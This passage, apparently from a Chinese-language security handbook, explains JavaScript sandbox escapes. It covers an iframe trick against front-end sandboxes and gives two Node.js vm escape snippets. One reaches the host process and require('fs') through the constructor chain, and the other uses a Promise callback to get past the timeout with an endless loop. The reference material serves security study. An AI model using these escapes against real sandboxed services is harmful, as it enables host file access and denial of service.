5.4.8. 沙箱逃逸

5.4.8.1. 前端沙箱

在前端中,可能会使用删除 eval ,重写 Function.prototype.constructor / GeneratorFunction / AsyncFunction 等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。

5.4.8.2. 服务端沙箱

JavaScript服务端通常会使用 vm 作为沙箱,在旧版的沙箱中,有以下几种逃逸方式。

  1. const sandbox = {};
  2. const whatIsThis = vm.runInNewContext(`
  3. const ForeignObject = this.constructor;
  4. const ForeignFunction = ForeignObject.constructor;
  5. const process = ForeignFunction("return process")();
  6. const require = process.mainModule.require;
  7. require("fs");
  8. `, sandbox);
  1. vm.runInNewContext(
  2. 'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())',
  3. {console:{log(){console.log.apply(console,arguments);}}},
  4. {timeout:5}
  5. );